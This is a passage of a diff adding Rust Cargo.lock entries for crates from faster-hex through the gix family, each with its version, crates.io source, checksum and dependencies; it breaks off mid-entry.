| 1383 | + | name = "faster-hex" | |
| 1384 | + | version = "0.9.0" | |
| 1385 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1386 | + | checksum = "a2a2b11eda1d40935b26cf18f6833c526845ae8c41e58d09af6adeb6f0269183" | |
| 1387 | + | dependencies = [ | |
| 1388 | + | "serde", | |
| 1389 | + | ] | |
| 1390 | + | ||
| 1391 | + | [[package]] | |
| 1392 | + | name = "fastrand" | |
| 1393 | + | version = "2.5.0" | |
| 1394 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1395 | + | checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223" | |
| 1396 | + | ||
| 1397 | + | [[package]] | |
| 1398 | + | name = "ff" | |
| 1399 | + | version = "0.13.1" | |
| 1400 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1401 | + | checksum = "c0b50bfb653653f9ca9095b427bed08ab8d75a137839d9ad64eb11810d5b6393" | |
| 1402 | + | dependencies = [ | |
| 1403 | + | "rand_core 0.6.4", | |
| 1404 | + | "subtle", | |
| 1405 | + | ] | |
| 1406 | + | ||
| 1407 | + | [[package]] | |
| 1408 | + | name = "fiat-crypto" | |
| 1409 | + | version = "0.2.9" | |
| 1410 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1411 | + | checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" | |
| 1412 | + | ||
| 1413 | + | [[package]] | |
| 1414 | + | name = "filetime" | |
| 1415 | + | version = "0.2.29" | |
| 1416 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1417 | + | checksum = "5c287a33c7f0a620c38e641e7f60827713987b3c0f26e8ddc9462cc69cf75759" | |
| 1418 | + | dependencies = [ | |
| 1419 | + | "cfg-if", | |
| 1420 | + | "libc", | |
| 1421 | + | ] | |
| 1422 | + | ||
| 1423 | + | [[package]] | |
| 1424 | + | name = "find-msvc-tools" | |
| 1425 | + | version = "0.1.9" | |
| 1426 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1427 | + | checksum = "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" | |
| 1428 | + | ||
| 1429 | + | [[package]] | |
| 1430 | + | name = "flate2" | |
| 1431 | + | version = "1.1.9" | |
| 1432 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1433 | + | checksum = "843fba2746e448b37e26a819579957415c8cef339bf08564fe8b7ddbd959573c" | |
| 1434 | + | dependencies = [ | |
| 1435 | + | "crc32fast", | |
| 1436 | + | "miniz_oxide", | |
| 1437 | + | ] | |
| 1438 | + | ||
| 1439 | + | [[package]] | |
| 1440 | + | name = "flume" | |
| 1441 | + | version = "0.11.1" | |
| 1442 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1443 | + | checksum = "da0e4dd2a88388a1f4ccc7c9ce104604dab68d9f408dc34cd45823d5a9069095" | |
| 1444 | + | dependencies = [ | |
| 1445 | + | "futures-core", | |
| 1446 | + | "futures-sink", | |
| 1447 | + | "spin", | |
| 1448 | + | ] | |
| 1449 | + | ||
| 1450 | + | [[package]] | |
| 1451 | + | name = "fnv" | |
| 1452 | + | version = "1.0.7" | |
| 1453 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1454 | + | checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" | |
| 1455 | + | ||
| 1456 | + | [[package]] | |
| 1457 | + | name = "foldhash" | |
| 1458 | + | version = "0.1.5" | |
| 1459 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1460 | + | checksum = "d9c4f5dac5e15c24eb999c26181a6ca40b39fe946cbe4c263c7209467bc83af2" | |
| 1461 | + | ||
| 1462 | + | [[package]] | |
| 1463 | + | name = "foldhash" | |
| 1464 | + | version = "0.2.0" | |
| 1465 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1466 | + | checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb" | |
| 1467 | + | ||
| 1468 | + | [[package]] | |
| 1469 | + | name = "form_urlencoded" | |
| 1470 | + | version = "1.2.2" | |
| 1471 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1472 | + | checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" | |
| 1473 | + | dependencies = [ | |
| 1474 | + | "percent-encoding", | |
| 1475 | + | ] | |
| 1476 | + | ||
| 1477 | + | [[package]] | |
| 1478 | + | name = "fs_extra" | |
| 1479 | + | version = "1.3.0" | |
| 1480 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1481 | + | checksum = "42703706b716c37f96a77aea830392ad231f44c9e9a67872fa5548707e11b11c" | |
| 1482 | + | ||
| 1483 | + | [[package]] | |
| 1484 | + | name = "futures" | |
| 1485 | + | version = "0.3.33" | |
| 1486 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1487 | + | checksum = "a88cf1f829d945f548cf8fec32c61b1f202b6d93b45848602fc02af4b12ad218" | |
| 1488 | + | dependencies = [ | |
| 1489 | + | "futures-channel", | |
| 1490 | + | "futures-core", | |
| 1491 | + | "futures-executor", | |
| 1492 | + | "futures-io", | |
| 1493 | + | "futures-sink", | |
| 1494 | + | "futures-task", | |
| 1495 | + | "futures-util", | |
| 1496 | + | ] | |
| 1497 | + | ||
| 1498 | + | [[package]] | |
| 1499 | + | name = "futures-channel" | |
| 1500 | + | version = "0.3.33" | |
| 1501 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1502 | + | checksum = "262590f4fe6afeb0bc83be1daa64e52657fe185690a958af7f3ad0e92085c5ae" | |
| 1503 | + | dependencies = [ | |
| 1504 | + | "futures-core", | |
| 1505 | + | "futures-sink", | |
| 1506 | + | ] | |
| 1507 | + | ||
| 1508 | + | [[package]] | |
| 1509 | + | name = "futures-core" | |
| 1510 | + | version = "0.3.33" | |
| 1511 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1512 | + | checksum = "2cd50c473c80f6d7c3670a752354b8e569b1a7cbfdc0419ec88e5edad85e0dc7" | |
| 1513 | + | ||
| 1514 | + | [[package]] | |
| 1515 | + | name = "futures-executor" | |
| 1516 | + | version = "0.3.33" | |
| 1517 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1518 | + | checksum = "6754879cc9f2c66f88c6e5c35344bb0bdb0708b0352b1201815667c7eabc7458" | |
| 1519 | + | dependencies = [ | |
| 1520 | + | "futures-core", | |
| 1521 | + | "futures-task", | |
| 1522 | + | "futures-util", | |
| 1523 | + | ] | |
| 1524 | + | ||
| 1525 | + | [[package]] | |
| 1526 | + | name = "futures-intrusive" | |
| 1527 | + | version = "0.5.0" | |
| 1528 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1529 | + | checksum = "1d930c203dd0b6ff06e0201a4a2fe9149b43c684fd4420555b26d21b1a02956f" | |
| 1530 | + | dependencies = [ | |
| 1531 | + | "futures-core", | |
| 1532 | + | "lock_api", | |
| 1533 | + | "parking_lot", | |
| 1534 | + | ] | |
| 1535 | + | ||
| 1536 | + | [[package]] | |
| 1537 | + | name = "futures-io" | |
| 1538 | + | version = "0.3.33" | |
| 1539 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1540 | + | checksum = "4577ecaa3c4f96589d473f679a71b596316f6641bc350038b962a5daf0085d7a" | |
| 1541 | + | ||
| 1542 | + | [[package]] | |
| 1543 | + | name = "futures-macro" | |
| 1544 | + | version = "0.3.33" | |
| 1545 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1546 | + | checksum = "2d6d3cde68c518367be28956066ddfef33813991b77a55005a69dae04bf3b10b" | |
| 1547 | + | dependencies = [ | |
| 1548 | + | "proc-macro2", | |
| 1549 | + | "quote", | |
| 1550 | + | "syn 2.0.119", | |
| 1551 | + | ] | |
| 1552 | + | ||
| 1553 | + | [[package]] | |
| 1554 | + | name = "futures-sink" | |
| 1555 | + | version = "0.3.33" | |
| 1556 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1557 | + | checksum = "e34418ac499d6305c2fb5ad0ed2f6ac998c5f8ca209b4510f7f94242c647e307" | |
| 1558 | + | ||
| 1559 | + | [[package]] | |
| 1560 | + | name = "futures-task" | |
| 1561 | + | version = "0.3.33" | |
| 1562 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1563 | + | checksum = "b231ed28831efb4a61a08580c4bc233ec56bc009f4cd8f52da2c3cb97df0c109" | |
| 1564 | + | ||
| 1565 | + | [[package]] | |
| 1566 | + | name = "futures-util" | |
| 1567 | + | version = "0.3.33" | |
| 1568 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1569 | + | checksum = "a77a90a256fce34da66415271e30f94ee91c57b04b8a2c042d9cf3220179deaa" | |
| 1570 | + | dependencies = [ | |
| 1571 | + | "futures-channel", | |
| 1572 | + | "futures-core", | |
| 1573 | + | "futures-io", | |
| 1574 | + | "futures-macro", | |
| 1575 | + | "futures-sink", | |
| 1576 | + | "futures-task", | |
| 1577 | + | "memchr", | |
| 1578 | + | "pin-project-lite", | |
| 1579 | + | "slab", | |
| 1580 | + | ] | |
| 1581 | + | ||
| 1582 | + | [[package]] | |
| 1583 | + | name = "generic-array" | |
| 1584 | + | version = "0.14.7" | |
| 1585 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1586 | + | checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" | |
| 1587 | + | dependencies = [ | |
| 1588 | + | "typenum", | |
| 1589 | + | "version_check", | |
| 1590 | + | "zeroize", | |
| 1591 | + | ] | |
| 1592 | + | ||
| 1593 | + | [[package]] | |
| 1594 | + | name = "getrandom" | |
| 1595 | + | version = "0.2.17" | |
| 1596 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1597 | + | checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" | |
| 1598 | + | dependencies = [ | |
| 1599 | + | "cfg-if", | |
| 1600 | + | "js-sys", | |
| 1601 | + | "libc", | |
| 1602 | + | "wasi", | |
| 1603 | + | "wasm-bindgen", | |
| 1604 | + | ] | |
| 1605 | + | ||
| 1606 | + | [[package]] | |
| 1607 | + | name = "getrandom" | |
| 1608 | + | version = "0.4.3" | |
| 1609 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1610 | + | checksum = "300e883d756b2e4ec94e02791f39b04b522276138852cfc41d9fb7e904106099" | |
| 1611 | + | dependencies = [ | |
| 1612 | + | "cfg-if", | |
| 1613 | + | "js-sys", | |
| 1614 | + | "libc", | |
| 1615 | + | "r-efi", | |
| 1616 | + | "rand_core 0.10.1", | |
| 1617 | + | "wasm-bindgen", | |
| 1618 | + | ] | |
| 1619 | + | ||
| 1620 | + | [[package]] | |
| 1621 | + | name = "ghash" | |
| 1622 | + | version = "0.5.1" | |
| 1623 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1624 | + | checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1" | |
| 1625 | + | dependencies = [ | |
| 1626 | + | "opaque-debug", | |
| 1627 | + | "polyval", | |
| 1628 | + | ] | |
| 1629 | + | ||
| 1630 | + | [[package]] | |
| 1631 | + | name = "gix" | |
| 1632 | + | version = "0.68.0" | |
| 1633 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1634 | + | checksum = "b04c66359b5e17f92395abc433861df0edf48f39f3f590818d1d7217327dd6a1" | |
| 1635 | + | dependencies = [ | |
| 1636 | + | "gix-actor", | |
| 1637 | + | "gix-attributes", | |
| 1638 | + | "gix-command", | |
| 1639 | + | "gix-commitgraph", | |
| 1640 | + | "gix-config", | |
| 1641 | + | "gix-date", | |
| 1642 | + | "gix-diff", | |
| 1643 | + | "gix-discover", | |
| 1644 | + | "gix-features", | |
| 1645 | + | "gix-filter", | |
| 1646 | + | "gix-fs", | |
| 1647 | + | "gix-glob", | |
| 1648 | + | "gix-hash", | |
| 1649 | + | "gix-hashtable", | |
| 1650 | + | "gix-ignore", | |
| 1651 | + | "gix-index", | |
| 1652 | + | "gix-lock", | |
| 1653 | + | "gix-merge", | |
| 1654 | + | "gix-object", | |
| 1655 | + | "gix-odb", | |
| 1656 | + | "gix-pack", | |
| 1657 | + | "gix-path", | |
| 1658 | + | "gix-pathspec", | |
| 1659 | + | "gix-ref", | |
| 1660 | + | "gix-refspec", | |
| 1661 | + | "gix-revision", | |
| 1662 | + | "gix-revwalk", | |
| 1663 | + | "gix-sec", | |
| 1664 | + | "gix-submodule", | |
| 1665 | + | "gix-tempfile", | |
| 1666 | + | "gix-trace", | |
| 1667 | + | "gix-traverse", | |
| 1668 | + | "gix-url", | |
| 1669 | + | "gix-utils", | |
| 1670 | + | "gix-validate 0.9.4", | |
| 1671 | + | "gix-worktree", | |
| 1672 | + | "once_cell", | |
| 1673 | + | "smallvec", | |
| 1674 | + | "thiserror 2.0.19", | |
| 1675 | + | ] | |
| 1676 | + | ||
| 1677 | + | [[package]] | |
| 1678 | + | name = "gix-actor" | |
| 1679 | + | version = "0.33.2" | |
| 1680 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1681 | + | checksum = "20018a1a6332e065f1fcc8305c1c932c6b8c9985edea2284b3c79dc6fa3ee4b2" | |
| 1682 | + | dependencies = [ | |
| 1683 | + | "bstr", | |
| 1684 | + | "gix-date", | |
| 1685 | + | "gix-utils", | |
| 1686 | + | "itoa", | |
| 1687 | + | "thiserror 2.0.19", | |
| 1688 | + | "winnow", | |
| 1689 | + | ] | |
| 1690 | + | ||
| 1691 | + | [[package]] | |
| 1692 | + | name = "gix-attributes" | |
| 1693 | + | version = "0.23.1" | |
| 1694 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1695 | + | checksum = "ddf9bf852194c0edfe699a2d36422d2c1f28f73b7c6d446c3f0ccd3ba232cadc" | |
| 1696 | + | dependencies = [ | |
| 1697 | + | "bstr", | |
| 1698 | + | "gix-glob", | |
| 1699 | + | "gix-path", | |
| 1700 | + | "gix-quote", | |
| 1701 | + | "gix-trace", | |
| 1702 | + | "kstring", | |
| 1703 | + | "smallvec", | |
| 1704 | + | "thiserror 2.0.19", | |
| 1705 | + | "unicode-bom", | |
| 1706 | + | ] | |
| 1707 | + | ||
| 1708 | + | [[package]] | |
| 1709 | + | name = "gix-bitmap" | |
| 1710 | + | version = "0.2.16" | |
| 1711 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1712 | + | checksum = "d982fc7ef0608e669851d0d2a6141dae74c60d5a27e8daa451f2a4857bbf41e2" | |
| 1713 | + | dependencies = [ | |
| 1714 | + | "thiserror 2.0.19", | |
| 1715 | + | ] | |
| 1716 | + | ||
| 1717 | + | [[package]] | |
| 1718 | + | name = "gix-chunk" | |
| 1719 | + | version = "0.4.12" | |
| 1720 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1721 | + | checksum = "5c356b3825677cb6ff579551bb8311a81821e184453cbd105e2fc5311b288eeb" | |
| 1722 | + | dependencies = [ | |
| 1723 | + | "thiserror 2.0.19", | |
| 1724 | + | ] | |
| 1725 | + | ||
| 1726 | + | [[package]] | |
| 1727 | + | name = "gix-command" | |
| 1728 | + | version = "0.3.11" | |
| 1729 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1730 | + | checksum = "6d7d6b8f3a64453fd7e8191eb80b351eb7ac0839b40a1237cd2c137d5079fe53" | |
| 1731 | + | dependencies = [ | |
| 1732 | + | "bstr", | |
| 1733 | + | "gix-path", | |
| 1734 | + | "gix-trace", | |
| 1735 | + | "shell-words", | |
| 1736 | + | ] | |
| 1737 | + | ||
| 1738 | + | [[package]] | |
| 1739 | + | name = "gix-commitgraph" | |
| 1740 | + | version = "0.25.1" | |
| 1741 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1742 | + | checksum = "a8da6591a7868fb2b6dabddea6b09988b0b05e0213f938dbaa11a03dd7a48d85" | |
| 1743 | + | dependencies = [ | |
| 1744 | + | "bstr", | |
| 1745 | + | "gix-chunk", | |
| 1746 | + | "gix-features", | |
| 1747 | + | "gix-hash", | |
| 1748 | + | "memmap2", | |
| 1749 | + | "thiserror 2.0.19", | |
| 1750 | + | ] | |
| 1751 | + | ||
| 1752 | + | [[package]] | |
| 1753 | + | name = "gix-config" | |
| 1754 | + | version = "0.42.0" | |
| 1755 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1756 | + | checksum = "6649b406ca1f99cb148959cf00468b231f07950f8ec438cc0903cda563606f19" | |
| 1757 | + | dependencies = [ | |
| 1758 | + | "bstr", | |
| 1759 | + | "gix-config-value", | |
| 1760 | + | "gix-features", | |
| 1761 | + | "gix-glob", | |
| 1762 | + | "gix-path", | |
| 1763 | + | "gix-ref", | |
| 1764 | + | "gix-sec", | |
| 1765 | + | "memchr", | |
| 1766 | + | "once_cell", | |
| 1767 | + | "smallvec", | |
| 1768 | + | "thiserror 2.0.19", | |
| 1769 | + | "unicode-bom", | |
| 1770 | + | "winnow", | |
| 1771 | + | ] | |
| 1772 | + | ||
| 1773 | + | [[package]] | |
| 1774 | + | name = "gix-config-value" | |
| 1775 | + | version = "0.14.12" | |
| 1776 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1777 | + | checksum = "8dc2c844c4cf141884678cabef736fd91dd73068b9146e6f004ba1a0457944b6" | |
| 1778 | + | dependencies = [ | |
| 1779 | + | "bitflags 2.13.1", | |
| 1780 | + | "bstr", | |
| 1781 | + | "gix-path", | |
| 1782 | + | "libc", | |
| 1783 | + | "thiserror 2.0.19", | |
| 1784 | + | ] | |
| 1785 | + | ||
| 1786 | + | [[package]] | |
| 1787 | + | name = "gix-date" | |
| 1788 | + | version = "0.9.4" | |
| 1789 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1790 | + | checksum = "daa30058ec7d3511fbc229e4f9e696a35abd07ec5b82e635eff864a2726217e4" | |
| 1791 | + | dependencies = [ | |
| 1792 | + | "bstr", | |
| 1793 | + | "itoa", | |
| 1794 | + | "jiff", | |
| 1795 | + | "thiserror 2.0.19", | |
| 1796 | + | ] | |
| 1797 | + | ||
| 1798 | + | [[package]] | |
| 1799 | + | name = "gix-diff" | |
| 1800 | + | version = "0.48.0" | |
| 1801 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1802 | + | checksum = "a327be31a392144b60ab0b1c863362c32a1c8f7effdfa2141d5d5b6b916ef3bf" | |
| 1803 | + | dependencies = [ | |
| 1804 | + | "bstr", | |
| 1805 | + | "gix-command", | |
| 1806 | + | "gix-filter", | |
| 1807 | + | "gix-fs", | |
| 1808 | + | "gix-hash", | |
| 1809 | + | "gix-object", | |
| 1810 | + | "gix-path", | |
| 1811 | + | "gix-tempfile", | |
| 1812 | + | "gix-trace", | |
| 1813 | + | "gix-traverse", | |
| 1814 | + | "gix-worktree", | |
| 1815 | + | "imara-diff", | |
| 1816 | + | "thiserror 2.0.19", | |
| 1817 | + | ] | |
| 1818 | + | ||
| 1819 | + | [[package]] | |
| 1820 | + | name = "gix-discover" | |
| 1821 | + | version = "0.37.0" | |
| 1822 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1823 | + | checksum = "83bf6dfa4e266a4a9becb4d18fc801f92c3f7cc6c433dd86fdadbcf315ffb6ef" | |
| 1824 | + | dependencies = [ | |
| 1825 | + | "bstr", | |
| 1826 | + | "dunce", | |
| 1827 | + | "gix-fs", | |
| 1828 | + | "gix-hash", | |
| 1829 | + | "gix-path", | |
| 1830 | + | "gix-ref", | |
| 1831 | + | "gix-sec", | |
| 1832 | + | "thiserror 2.0.19", | |
| 1833 | + | ] | |
| 1834 | + | ||
| 1835 | + | [[package]] | |
| 1836 | + | name = "gix-features" | |
| 1837 | + | version = "0.39.1" | |
| 1838 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1839 | + | checksum = "7d85d673f2e022a340dba4713bed77ef2cf4cd737d2f3e0f159d45e0935fd81f" | |
| 1840 | + | dependencies = [ | |
| 1841 | + | "crc32fast", | |
| 1842 | + | "crossbeam-channel", | |
| 1843 | + | "flate2", | |
| 1844 | + | "gix-hash", | |
| 1845 | + | "gix-trace", | |
| 1846 | + | "gix-utils", | |
| 1847 | + | "libc", | |
| 1848 | + | "once_cell", | |
| 1849 | + | "parking_lot", | |
| 1850 | + | "prodash", | |
| 1851 | + | "sha1_smol", | |
| 1852 | + | "thiserror 2.0.19", | |
| 1853 | + | "walkdir", | |
| 1854 | + | ] | |
| 1855 | + | ||
| 1856 | + | [[package]] | |
| 1857 | + | name = "gix-filter" | |
| 1858 | + | version = "0.15.0" | |
| 1859 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1860 | + | checksum = "5108cc58d58b27df10ac4de7f31b2eb96d588a33e5eba23739b865f5d8db7995" | |
| 1861 | + | dependencies = [ | |
| 1862 | + | "bstr", | |
| 1863 | + | "encoding_rs", | |
| 1864 | + | "gix-attributes", | |
| 1865 | + | "gix-command", | |
| 1866 | + | "gix-hash", | |
| 1867 | + | "gix-object", | |
| 1868 | + | "gix-packetline-blocking", | |
| 1869 | + | "gix-path", | |
| 1870 | + | "gix-quote", | |
| 1871 | + | "gix-trace", | |
| 1872 | + | "gix-utils", | |
| 1873 | + | "smallvec", | |
| 1874 | + | "thiserror 2.0.19", | |
| 1875 | + | ] | |
| 1876 | + | ||
| 1877 | + | [[package]] | |
| 1878 | + | name = "gix-fs" | |
| 1879 | + | version = "0.12.1" | |
| 1880 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1881 | + | checksum = "3b3d4fac505a621f97e5ce2c69fdc425742af00c0920363ca4074f0eb48b1db9" | |
| 1882 | + | dependencies = [ | |
| 1883 | + | "fastrand", | |
| 1884 | + | "gix-features", | |
| 1885 | + | "gix-utils", | |
| 1886 | + | ] | |
| 1887 | + | ||
| 1888 | + | [[package]] | |
| 1889 | + | name = "gix-glob" | |
| 1890 | + | version = "0.17.1" | |
| 1891 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1892 | + | checksum = "aaf69a6bec0a3581567484bf99a4003afcaf6c469fd4214352517ea355cf3435" | |
| 1893 | + | dependencies = [ | |
| 1894 | + | "bitflags 2.13.1", | |
| 1895 | + | "bstr", | |
| 1896 | + | "gix-features", | |
| 1897 | + | "gix-path", | |
| 1898 | + | ] | |
| 1899 | + | ||
| 1900 | + | [[package]] | |
| 1901 | + | name = "gix-hash" | |
| 1902 | + | version = "0.15.1" | |
| 1903 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1904 | + | checksum = "0b5eccc17194ed0e67d49285e4853307e4147e95407f91c1c3e4a13ba9f4e4ce" | |
| 1905 | + | dependencies = [ | |
| 1906 | + | "faster-hex", | |
| 1907 | + | "thiserror 2.0.19", | |
| 1908 | + | ] | |
| 1909 | + | ||
| 1910 | + | [[package]] | |
| 1911 | + | name = "gix-hashtable" | |
| 1912 | + | version = "0.6.0" | |
| 1913 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1914 | + | checksum = "0ef65b256631078ef733bc5530c4e6b1c2e7d5c2830b75d4e9034ab3997d18fe" | |
| 1915 | + | dependencies = [ | |
| 1916 | + | "gix-hash", | |
| 1917 | + | "hashbrown 0.14.5", | |
| 1918 | + | "parking_lot", | |
| 1919 | + | ] | |
| 1920 | + | ||
| 1921 | + | [[package]] | |
| 1922 | + | name = "gix-ignore" | |
| 1923 | + | version = "0.12.1" | |
| 1924 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1925 | + | checksum = "b6b1fb24d2a4af0aa7438e2771d60c14a80cf2c9bd55c29cf1712b841f05bb8a" | |
| 1926 | + | dependencies = [ | |
| 1927 | + | "bstr", | |
| 1928 | + | "gix-glob", | |
| 1929 | + | "gix-path", | |
| 1930 | + | "gix-trace", | |
| 1931 | + | "unicode-bom", | |
| 1932 | + | ] | |
| 1933 | + | ||
| 1934 | + | [[package]] | |
| 1935 | + | name = "gix-index" | |
| 1936 | + | version = "0.37.0" | |
| 1937 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1938 | + | checksum = "270645fd20556b64c8ffa1540d921b281e6994413a0ca068596f97e9367a257a" | |
| 1939 | + | dependencies = [ | |
| 1940 | + | "bitflags 2.13.1", | |
| 1941 | + | "bstr", | |
| 1942 | + | "filetime", | |
| 1943 | + | "fnv", | |
| 1944 | + | "gix-bitmap", | |
| 1945 | + | "gix-features", | |
| 1946 | + | "gix-fs", | |
| 1947 | + | "gix-hash", | |
| 1948 | + | "gix-lock", | |
| 1949 | + | "gix-object", | |
| 1950 | + | "gix-traverse", | |
| 1951 | + | "gix-utils", | |
| 1952 | + | "gix-validate 0.9.4", | |
| 1953 | + | "hashbrown 0.14.5", | |
| 1954 | + | "itoa", | |
| 1955 | + | "libc", | |
| 1956 | + | "memmap2", | |
| 1957 | + | "rustix 0.38.44", | |
| 1958 | + | "smallvec", | |
| 1959 | + | "thiserror 2.0.19", | |
| 1960 | + | ] | |
| 1961 | + | ||
| 1962 | + | [[package]] | |
| 1963 | + | name = "gix-lock" | |
| 1964 | + | version = "15.0.1" | |
| 1965 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1966 | + | checksum = "1cd3ab68a452db63d9f3ebdacb10f30dba1fa0d31ac64f4203d395ed1102d940" | |
| 1967 | + | dependencies = [ | |
| 1968 | + | "gix-tempfile", | |
| 1969 | + | "gix-utils", | |
| 1970 | + | "thiserror 2.0.19", | |
| 1971 | + | ] | |
| 1972 | + | ||
| 1973 | + | [[package]] | |
| 1974 | + | name = "gix-merge" | |
| 1975 | + | version = "0.1.0" | |
| 1976 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1977 | + | checksum = "08d4d0d11ac3fc1a3082f88b5e4cca706512f6b813154c4541264beed7850e62" | |
| 1978 | + | dependencies = [ | |
| 1979 | + | "bstr", | |
| 1980 | + | "gix-command", | |
| 1981 | + | "gix-diff", | |
| 1982 | + | "gix-filter", | |
| 1983 | + | "gix-fs", | |
| 1984 | + | "gix-hash", | |
| 1985 | + | "gix-index", | |
| 1986 | + | "gix-object", | |
| 1987 | + | "gix-path", | |
| 1988 | + | "gix-quote", | |
| 1989 | + | "gix-revision", | |
| 1990 | + | "gix-revwalk", | |
| 1991 | + | "gix-tempfile", | |
| 1992 | + | "gix-trace", | |
| 1993 | + | "gix-worktree", | |
| 1994 | + | "imara-diff", | |
| 1995 | + | "thiserror 2.0.19", | |
| 1996 | + | ] | |
| 1997 | + | ||
| 1998 | + | [[package]] | |
| 1999 | + | name = "gix-object" | |
| 2000 | + | version = "0.46.1" | |
| 2001 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2002 | + | checksum = "e42d58010183ef033f31088479b4eb92b44fe341b35b62d39eb8b185573d77ea" | |
| 2003 | + | dependencies = [ | |
| 2004 | + | "bstr", | |
| 2005 | + | "gix-actor", | |
| 2006 | + | "gix-date", | |
| 2007 | + | "gix-features", | |
| 2008 | + | "gix-hash", | |
| 2009 | + | "gix-hashtable", | |
| 2010 | + | "gix-path", | |
| 2011 | + | "gix-utils", | |
| 2012 | + | "gix-validate 0.9.4", | |
| 2013 | + | "itoa", | |
| 2014 | + | "smallvec", | |
| 2015 | + | "thiserror 2.0.19", | |
| 2016 | + | "winnow", | |
| 2017 | + | ] | |
| 2018 | + | ||
| 2019 | + | [[package]] | |
| 2020 | + | name = "gix-odb" | |
| 2021 | + | version = "0.65.0" | |
| 2022 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2023 | + | checksum = "93bed6e1b577c25a6bb8e6ecbf4df525f29a671ddf5f2221821a56a8dbeec4e3" | |
| 2024 | + | dependencies = [ | |
| 2025 | + | "arc-swap", | |
| 2026 | + | "gix-date", | |
| 2027 | + | "gix-features", | |
| 2028 | + | "gix-fs", | |
| 2029 | + | "gix-hash", | |
| 2030 | + | "gix-hashtable", | |
| 2031 | + | "gix-object", | |
| 2032 | + | "gix-pack", | |
| 2033 | + | "gix-path", | |
| 2034 | + | "gix-quote", | |
| 2035 | + | "parking_lot", | |
| 2036 | + | "tempfile", | |
| 2037 | + | "thiserror 2.0.19", | |
| 2038 | + | ] | |
| 2039 | + | ||
| 2040 | + | [[package]] | |
| 2041 | + | name = "gix-pack" | |
| 2042 | + | version = "0.55.0" | |
| 2043 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2044 | + | checksum = "9b91fec04d359544fecbb8e85117ec746fbaa9046ebafcefb58cb74f20dc76d4" | |
| 2045 | + | dependencies = [ | |
| 2046 | + | "clru", | |
| 2047 | + | "gix-chunk", | |
| 2048 | + | "gix-features", | |
| 2049 | + | "gix-hash", | |
| 2050 | + | "gix-hashtable", | |
| 2051 | + | "gix-object", | |
| 2052 | + | "gix-path", | |
| 2053 | + | "memmap2", | |
| 2054 | + | "smallvec", | |
| 2055 | + | "thiserror 2.0.19", | |
| 2056 | + | "uluru", | |
| 2057 | + | ] | |
| 2058 | + | ||
| 2059 | + | [[package]] | |
| 2060 | + | name = "gix-packetline-blocking" | |
| 2061 | + | version = "0.18.3" | |
| 2062 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2063 | + | checksum = "1ecf3ea2e105c7e45587bac04099824301262a6c43357fad5205da36dbb233b3" | |
| 2064 | + | dependencies = [ | |
